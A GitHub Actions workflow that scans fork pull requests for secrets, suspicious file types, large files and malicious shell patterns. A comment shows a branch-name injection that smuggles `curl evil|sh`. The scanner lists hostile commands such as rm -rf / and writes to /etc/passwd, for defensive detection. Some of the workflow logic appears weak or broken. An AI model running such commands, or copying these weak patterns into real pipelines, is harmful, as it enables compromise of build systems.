docs(config): correct O5 wording against live ruleset state; record T… #313
Workflow file for this run
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # This workflow is managed by gh actions-lock. | ||
| # SPDX-License-Identifier: MPL-2.0 | ||
| # 🔴 GATE: Security Gate for Fork Pull Requests | ||
| # This workflow is managed by gh actions-lock. | ||
| name: "🔴 GATE: Security Gate (Fork PRs)" | ||
| on: | ||
| pull_request_target: | ||
| branches: [main, master] | ||
| types: [opened, synchronize, reopened, ready_for_review] | ||
| permissions: | ||
| contents: read | ||
| pull-requests: write | ||
| security-events: read | ||
| # Critical: This runs in the BASE repository context, not the PR fork | ||
| # This allows safe scanning of untrusted code from forks | ||
| jobs: | ||
| security-check-fork-pr: | ||
| name: Security Checks for Fork PRs | ||
| runs-on: ubuntu-latest | ||
| timeout-minutes: 15 | ||
| steps: | ||
| - name: Checkout base repository | ||
| uses: actions/checkout@v7.0.1 | ||
| with: | ||
| # Explicitly checkout the base branch, not the PR branch | ||
| ref: ${{ github.base_ref }} | ||
| fetch-depth: 0 | ||
| - name: Check if PR is from a fork | ||
| id: fork-check | ||
| env: | ||
| HEAD_IS_FORK: ${{ github.event.pull_request.head.repo.fork }} | ||
| HEAD_REPO: ${{ github.event.pull_request.head.repo.full_name }} | ||
| HEAD_OWNER: ${{ github.event.pull_request.head.repo.owner.login }} | ||
| run: | | ||
| if [ "$HEAD_IS_FORK" = "true" ]; then | ||
| { | ||
| echo "is_fork=true" | ||
| echo "fork_repo=$HEAD_REPO" | ||
| echo "fork_owner=$HEAD_OWNER" | ||
| } >> "$GITHUB_OUTPUT" | ||
| else | ||
| echo "is_fork=false" >> "$GITHUB_OUTPUT" | ||
| fi | ||
| - name: Extract PR branch for safe checkout | ||
| if: steps.fork-check.outputs.is_fork == 'true' | ||
| id: pr-checkout | ||
| env: | ||
| PR_BRANCH: ${{ github.event.pull_request.head.ref }} | ||
| FORK_REPO: ${{ github.event.pull_request.head.repo.full_name }} | ||
| run: | | ||
| # Check out the PR branch from the fork. | ||
| # | ||
| # SECURITY — read before editing. This job runs on | ||
| # `pull_request_target`, which means it executes in the BASE | ||
| # repository context holding BASE repository permissions. That is | ||
| # exactly why a fork's branch name must NEVER be interpolated into | ||
| # this script: `${{ }}` is expanded into the script TEXT by the | ||
| # runner before bash ever parses it, so a fork branch named | ||
| # `x";curl evil|sh;"` would run here with this job's token. Being in | ||
| # the base context is what makes it dangerous, not what makes it | ||
| # safe. Both values therefore arrive through `env:` above and are | ||
| # only ever referenced as quoted shell variables. | ||
| case "$PR_BRANCH" in | ||
| ""|-*|*..*) | ||
| echo "::error::refusing to check out an unsafe branch name" | ||
| exit 1 | ||
| ;; | ||
| esac | ||
| echo "Checking out PR branch from fork: $FORK_REPO/$PR_BRANCH" | ||
| # Add the fork as a remote temporarily | ||
| git remote add pr-fork "https://github.com/$FORK_REPO.git" 2>/dev/null || true | ||
| # Fetch the PR branch | ||
| git fetch pr-fork -- "$PR_BRANCH" 2>/dev/null || true | ||
| # Checkout the PR branch | ||
| git checkout -f "pr-fork/$PR_BRANCH" 2>/dev/null || git checkout -f "$PR_BRANCH" 2>/dev/null || true | ||
| echo "pr_checked_out=true" >> "$GITHUB_OUTPUT" | ||
| - name: Security Scan - Secrets Detection | ||
| if: steps.fork-check.outputs.is_fork == 'true' && steps.pr-checkout.outputs.pr_checked_out == 'true' | ||
| id: secrets-scan | ||
| uses: hyperpolymath/a2ml-ecosystem/secrets-check-action@main | ||
| with: | ||
| path: '.' | ||
| strict: 'true' | ||
| continue-on-error: false | ||
| - name: Security Scan - Malicious Content Detection | ||
| if: steps.fork-check.outputs.is_fork == 'true' && steps.pr-checkout.outputs.pr_checked_out == 'true' | ||
| id: malicious-scan | ||
| run: | | ||
| # Use gitleaks if available, otherwise basic grep | ||
| echo "🔍 Scanning for malicious content patterns..." | ||
| MALICIOUS_PATTERNS=( | ||
| 'rm\s+-rf\s+/' | ||
| 'rm\s+-rf\s+\$' | ||
| 'exec\s+.*\|\s*bash' | ||
| 'wget\s+.*\|\s*sh' | ||
| 'curl\s+.*\|\s*sh' | ||
| 'chmod\s+777' | ||
| 'chmod\s+\+x\s+.*/\.bashrc' | ||
| 'chmod\s+\+x\s+.*/\.bash_profile' | ||
| 'echo\s+.*\>\s*/etc/passwd' | ||
| 'echo\s+.*\>\s*/etc/shadow' | ||
| ) | ||
| found_issue=0 | ||
| for pattern in "${MALICIOUS_PATTERNS[@]}"; do | ||
| if grep -rlE "$pattern" . 2>/dev/null | grep -v '^\./\.git/' | grep -v test | grep -v example; then | ||
| echo "::error::Found potential malicious pattern: $pattern" | ||
| found_issue=1 | ||
| break | ||
| fi | ||
| done | ||
| if [ $found_issue -ne 0 ]; then | ||
| echo "::error::Malicious content detected in PR" | ||
| exit 1 | ||
| fi | ||
| echo "✅ No malicious patterns detected" | ||
| - name: Security Scan - File Type Validation | ||
| if: steps.fork-check.outputs.is_fork == 'true' && steps.pr-checkout.outputs.pr_checked_out == 'true' | ||
| id: file-type-scan | ||
| run: | | ||
| echo "🔍 Validating file types..." | ||
| # Check for suspicious file types | ||
| SUSPICIOUS_FILES=$(find . -type f \ | ||
| -path './.git/*' -prune -o \ | ||
| \( -name '*.exe' -o -name '*.bat' -o -name '*.cmd' -o -name '*.ps1' \ | ||
| -o -name '*.vbs' -o -name '*.jse' -o -name '*.wsf' \ | ||
| -o -name '*.msi' -o -name '*.dll' -o -name '*.com' \ | ||
| -o -name '*.pif' -o -name '*.application' \ | ||
| -o -name '*.scr' -o -name '*.hta' \) \ | ||
| -print 2>/dev/null || true) | ||
| if [ -n "$SUSPICIOUS_FILES" ]; then | ||
| echo "::warning::Suspicious file types detected:" | ||
| echo "$SUSPICIOUS_FILES" | ||
| echo "" | ||
| echo "These file types may indicate binary executables or scripts." | ||
| echo "Please verify these are legitimate and not malicious." | ||
| fi | ||
| - name: Security Scan - Large File Detection | ||
| if: steps.fork-check.outputs.is_fork == 'true' && steps.pr-checkout.outputs.pr_checked_out == 'true' | ||
| id: large-file-scan | ||
| run: | | ||
| echo "🔍 Checking for unusually large files..." | ||
| # Check for files > 10MB (GitHub's warning threshold) | ||
| LARGE_FILES=$(find . \ | ||
| -path './.git/*' -prune -o \ | ||
| -type f -size +10M \ | ||
| -print 2>/dev/null | head -20 || true) | ||
| if [ -n "$LARGE_FILES" ]; then | ||
| echo "::warning::Large files detected (>10MB):" | ||
| for file in $LARGE_FILES; do | ||
| size=$(du -h "$file" | cut -f1) | ||
| echo " - $file ($size)" | ||
| done | ||
| echo "" | ||
| echo "Large files should be tracked with Git LFS or removed." | ||
| fi | ||
| - name: Post Security Scan Comment | ||
| if: steps.fork-check.outputs.is_fork == 'true' | ||
| uses: actions/github-script@v9.0.0 | ||
| with: | ||
| script: | | ||
| const prNumber = context.issue.number; | ||
| const owner = context.repo.owner; | ||
| const repo = context.repo.repo; | ||
| // Only post if we're in a PR context | ||
| if (context.issue.number) { | ||
| await github.rest.issues.createComment({ | ||
| issue_number: prNumber, | ||
| owner: owner, | ||
| repo: repo, | ||
| body: '✅ **Fork PR Security Pre-checks Passed**\n\n' + | ||
| 'This PR has passed the initial security validation for fork pull requests:\n' + | ||
| '• Secrets scanning\n' + | ||
| '• Malicious content detection\n' + | ||
| '• File type validation\n' + | ||
| '• Large file detection\n\n' + | ||
| 'Full CI suite will run when PR is accepted.' | ||
| }); | ||
| } | ||
| # Fallback for non-fork PRs - just run basic checks | ||
| security-check-regular-pr: | ||
| name: Security Checks for Regular PRs | ||
| if: steps.fork-check.outputs.is_fork != 'true' | ||
| runs-on: ubuntu-latest | ||
| timeout-minutes: 10 | ||
| steps: | ||
| - name: Checkout repository | ||
| uses: actions/checkout@v7.0.1 | ||
| with: | ||
| fetch-depth: 0 | ||
| - name: Basic Security Validation | ||
| run: | | ||
| echo "✅ Regular PR - security validation delegated to standard workflows" | ||
| echo "This workflow only adds fork-specific security checks" | ||
| final-summary: | ||
| name: Security Gate Summary | ||
| runs-on: ubuntu-latest | ||
| needs: [security-check-fork-pr, security-check-regular-pr] | ||
| if: always() | ||
| steps: | ||
| - name: Checkout repository | ||
| uses: actions/checkout@v7.0.1 | ||
| - name: Generate Summary | ||
| run: | | ||
| echo "## Security Gate (Fork PRs) Summary" >> $GITHUB_STEP_SUMMARY | ||
| echo "" >> $GITHUB_STEP_SUMMARY | ||
| if [ "${{ needs.security-check-fork-pr.result }}" = "success" ]; then | ||
| echo "✅ Fork PR security checks: **PASSED**" >> $GITHUB_STEP_SUMMARY | ||
| elif [ "${{ needs.security-check-fork-pr.result }}" = "failure" ]; then | ||
| echo "❌ Fork PR security checks: **FAILED**" >> $GITHUB_STEP_SUMMARY | ||
| else | ||
| echo "⚪ Fork PR security checks: **SKIPPED**" >> $GITHUB_STEP_SUMMARY | ||
| fi | ||
| if [ "${{ needs.security-check-regular-pr.result }}" = "success" ]; then | ||
| echo "✅ Regular PR security checks: **PASSED**" >> $GITHUB_STEP_SUMMARY | ||
| else | ||
| echo "⚪ Regular PR security checks: **SKIPPED**" >> $GITHUB_STEP_SUMMARY | ||
| fi | ||
| echo "" >> $GITHUB_STEP_SUMMARY | ||
| echo "This gate provides additional security checks for pull requests from forks," >> $GITHUB_STEP_SUMMARY | ||
| echo "which cannot be trusted with the same permissions as internal branches." >> $GITHUB_STEP_SUMMARY | ||